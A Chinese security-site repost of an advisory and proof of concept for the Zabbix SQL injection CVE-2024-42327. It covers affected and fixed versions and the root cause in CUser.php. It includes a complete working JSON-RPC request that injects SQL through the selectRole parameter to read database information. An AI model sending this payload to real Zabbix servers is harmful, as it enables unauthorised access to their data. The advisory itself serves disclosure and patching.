Zabbix SQL 注入漏洞(CVE-2024-42327)PoC

admin 2024年12月10日17:28:17评论26 views字数 1123阅读3分44秒阅读模式
 

漏洞介绍

Zabbix前端上具有默认用户角色或任何其他赋予API访问权限的角色的非管理员用户帐户都可以利用此漏洞。addRelatedObjects函数的Cuser类中存在SQLi,该函数是从Cuser.get函数调用的,该函数适用于每个具有API访问权限的用户。

影响范围

6.0.0 - 6.0.31

6.4.0 - 6.4.16

7.0.0

修复建议

 

升级到安全版本:6.0.32rc1,6.4.17rc1,7.0.1rc1

漏洞复现

 

登录后使用以下payload:

POST /api_jsonrpc.php HTTP/1.1

Host: z.test.xaitx.com

Content-Type: application/json-rpc

Cookie: zbx_session=eyJzZXNzaW9uaWQiOiJiODVhYjcwNjZlN2M3YmU0YmYzNmEwMGEwN2ZjMzBiYiIsInNlcnZlckNoZWNrUmVzdWx0IjpmYWxzZSwic2VydmVyQ2hlY2tUaW1lIjoxNzMzNzQ2ODM5LCJzaWduIjoiMGE4N2RlZTkyNWU1Y2JlNTFkZjdkNGYyNzk1Y2ZlMmYxODA4NGEwYWJmODQ0MTk5NGI3MDA0MzRmNzA1MjY3YiJ9

Content-Length: 101

{

"jsonrpc": "2.0",

"method": "user.get",

"params": {

"selectRole": [

"a from (select 1 as userid) as u join (select (select user()) as a) as r #"

]

},

"id": 2

}

返回数据库对应的信息。

Zabbix SQL 注入漏洞(CVE-2024-42327)PoC
漏洞分析

 

漏洞关键点在于includeclassesapiservicesCUser.php的addRelatedObjects函数中。可以看到SQL语句中将处理后的$options['selectRole']值直接拼接到了SQL语句中。而$options是直接从用户输入接收到的值,其他地方也没有对selectRole进行限制和过滤,只有最后有一个拼接。所以在这里直接导致了SQL注入。

因为该接口前面还有鉴权,所以还需要具有默认用户角色或任何其他赋予API访问权限的角色的非管理员用户帐户都可以利用此漏洞。

参考链接

 

1. https://avd.aliyun.com/detail?id=AVD-2024-42327

2. https://support.zabbix.com/browse/ZBX-25623

原文始发于微信公众号(天启实验室):Zabbix SQL 注入漏洞(CVE-2024-42327)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年12月10日17:28:17
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Zabbix SQL 注入漏洞(CVE-2024-42327)PoChttp://cn-sec.com/archives/3488307.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息